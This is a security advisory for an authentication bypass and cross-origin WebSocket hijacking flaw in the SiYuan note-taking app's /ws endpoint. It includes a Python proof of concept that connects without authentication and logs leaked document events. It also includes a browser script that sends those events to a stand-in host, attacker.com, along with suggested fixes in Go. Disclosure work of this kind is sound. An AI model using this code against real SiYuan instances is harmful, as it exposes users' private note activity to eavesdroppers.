Skip to content

GHSA-xp2m-98x8-rpj6 CVE-2026-32815 GO-2026-4709

SiYuan Vulnerable to Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure

High Go
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.38%
Chance of exploitation in the next 30 days. Higher than 31.47% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-287 Improper Authentication
Fix
None yet
No fixed version published

Description

Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure

Summary

SiYuan's WebSocket endpoint (/ws) allows unauthenticated connections when specific URL parameters are provided (?app=siyuan&id=auth&type=auth). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.

Combined with the absence of Origin header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity.

Affected Component

  • File: kernel/server/serve.go:728-731
  • Function: serveWebSocket() → HandleConnect handler
  • Endpoint: GET /ws?app=siyuan&id=auth&type=auth (unauthenticated)
  • Version: SiYuan <= 3.5.9

Root Cause

The WebSocket HandleConnect handler has a special case bypass (line 730) intended for the authorization page:

util.WebSocketServer.HandleConnect(func(s *melody.Session) {
    authOk := true
    if "" != model.Conf.AccessAuthCode {
        // ... normal session/JWT authentication checks ...
        // authOk = false if no valid session
    }

    if !authOk {
        // Bypass: allow connection for auth page keepalive
        // 用于授权页保持连接,避免非常驻内存内核自动退出
        authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
                 strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")
    }

    if !authOk {
        s.CloseWithMsg([]byte("  unauthenticated"))
        return
    }

    util.AddPushChan(s)  // Session added to broadcast list
})

Three issues combine:

  1. Authentication bypass via URL parameters: Any client connecting with ?app=siyuan&id=auth&type=auth bypasses all authentication checks.

  2. Full broadcast membership: The bypassed session is added to the broadcast list via util.AddPushChan(s), receiving ALL PushModeBroadcast events — the same events sent to authenticated clients.

  3. No Origin validation: The WebSocket endpoint does not check the Origin header, allowing cross-origin connections from any website.

Proof of Concept

Tested and confirmed on SiYuan v3.5.9 (Docker) with accessAuthCode configured.

1. Direct unauthenticated connection
import asyncio, json, websockets

async def spy():
    # Connect WITHOUT any authentication cookie
    uri = "ws://TARGET:6806/ws?app=siyuan&id=auth&type=auth"
    async with websockets.connect(uri) as ws:
        print("Connected without authentication!")
        while True:
            msg = await ws.recv()
            data = json.loads(msg)
            cmd = data.get("cmd")
            d = data.get("data", {})

            if cmd == "rename":
                print(f"[LEAKED] Document renamed: {d.get('title')}")
            elif cmd == "create":
                print(f"[LEAKED] Document created: {d.get('path')}")
            elif cmd == "renamenotebook":
                print(f"[LEAKED] Notebook renamed: {d.get('name')}")
            elif cmd == "removeDoc":
                print(f"[LEAKED] Document deleted")
            elif cmd == "transactions":
                for tx in d if isinstance(d, list) else []:
                    for op in tx.get("doOperations", []):
                        if op.get("action") == "updateAttrs":
                            new = op.get("data", {}).get("new", {})
                            print(f"[LEAKED] Doc attrs: title={new.get('title')}")

asyncio.run(spy())
2. Cross-origin attack from malicious website
<!-- Hosted on https://attacker.com/spy.html -->
<script>
// Victim has SiYuan running on localhost:6806
const ws = new WebSocket("ws://localhost:6806/ws?app=siyuan&id=spy&type=auth");

ws.onopen = () => console.log("Connected to victim's SiYuan!");

ws.onmessage = (event) => {
    const data = JSON.parse(event.data);
    // Exfiltrate document operations to attacker
    fetch("https://attacker.com/collect", {
        method: "POST",
        body: JSON.stringify({
            cmd: data.cmd,
            data: data.data,
            timestamp: Date.now()
        })
    });
};
</script>
3. Confirmed leaked events

The following events are received by the unauthenticated WebSocket:

Event Leaked Data
savedoc Document root ID, operation data
transactions Document title, ID, attrs (new/old)
create Document path, notebook info (name, ID)
rename New document title, path, notebook ID
renamenotebook New notebook name, notebook ID
removeDoc Document deletion event
4. Cross-origin connection confirmed
import websockets, asyncio

async def test():
    uri = "ws://localhost:6806/ws?app=siyuan&id=attacker&type=auth"
    extra_headers = {"Origin": "https://evil.attacker.com"}
    async with websockets.connect(uri, additional_headers=extra_headers) as ws:
        print("Cross-origin connection accepted!")  # SUCCEEDS

asyncio.run(test())

Result: Connection succeeds — no Origin validation.

Attack Scenario

  1. Victim runs SiYuan desktop (Electron, listens on localhost:6806) or Docker instance
  2. Victim has accessAuthCode configured (server is password-protected)
  3. Victim visits attacker.com in any browser
  4. Attacker's JavaScript connects to ws://localhost:6806/ws?app=siyuan&id=spy&type=auth
  5. WebSocket connection bypasses authentication
  6. Attacker silently monitors ALL document operations in real-time:
    • Document titles ("Q4 Financial Results", "Employee Reviews", "Patent Draft")
    • Notebook names ("Personal", "Work - Confidential")
    • File paths and document IDs
    • Create/rename/delete operations
  7. Attacker builds a profile of the victim's note-taking activity without any visible indication

Impact

  • Severity: HIGH (CVSS ~7.5)
  • Type: CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets)
  • Authentication bypass on WebSocket endpoint when accessAuthCode is configured
  • Cross-origin WebSocket hijacking — any website can connect to local SiYuan instance
  • Real-time information disclosure of document metadata (titles, paths, operations)
  • No user interaction required beyond visiting a malicious website
  • Affects both Electron desktop and Docker/server deployments
  • Silent — no visible indication to the user

Suggested Fix

1. Remove the URL parameter authentication bypass
// Remove or restrict the auth page bypass
// Before (vulnerable):
authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
         strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")

// After: Use a separate, restricted endpoint for auth page keepalive
// that does NOT receive broadcast events
2. Add Origin header validation
util.WebSocketServer.HandleConnect(func(s *melody.Session) {
    // Validate Origin header
    origin := s.Request.Header.Get("Origin")
    if origin != "" {
        allowed := false
        for _, o := range []string{"http://localhost", "http://127.0.0.1", "app://"} {
            if strings.HasPrefix(origin, o) {
                allowed = true
                break
            }
        }
        if !allowed {
            s.CloseWithMsg([]byte("origin not allowed"))
            return
        }
    }
    // ... rest of auth logic
})
3. Separate keepalive from broadcast

If the auth page needs a WebSocket for keepalive, create a separate endpoint (/ws-keepalive) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel.

Affected versions

Go

PackageVulnerableFixed in
github.com/siyuan-note/siyuan/kernel
<= 0.0.0-20260313024916-fd6526133bb3
No fix yet
github.com/siyuan-note/siyuan/kernel
all versions
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
Passive
Confidentiality (vulnerable system)
Low
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-287: Improper Authentication

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

How to prevent it
  • Architecture and Design: Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xp3q-r38w-vgqm
SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-9cqf-hhrq-7v45
SiYuan: getAttributeViewSearchTarget returns database row content to anonymous readers with no publish-access check, reopening the class closed one day earlier at the adjacent route
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-57v5-wqx3-cgj4
SiYuan: Database view structure (all view names, layout types and per-field visibility) is returned to anonymous readers by /api/av/getAttributeViewFieldViews
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-4wwp-f6gw-6qm5
SiYuan: TLS Private Keys Readable via getFile (Incomplete Blocklist)
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-3cm4-ccvw-6xr6
SiYuan: /history/*path and /repo/diff/*path potentially exposing historical snapshots of data/.siyuan/publishAccess.json and data/templates/*
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-x8gv-g2g3-65fj
SiYuan Agent Tools SSRF via DNS-Rebinding TOCTOU (Bypass of CheckHostSSRF)
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-p23f-cm6q-2qp8
SiYuan MCP asset.upload Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass)
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-rpx2-p6hp-x5gj
SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin
Medium Also affects github.com/siyuan-note/siyuan/kernel
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor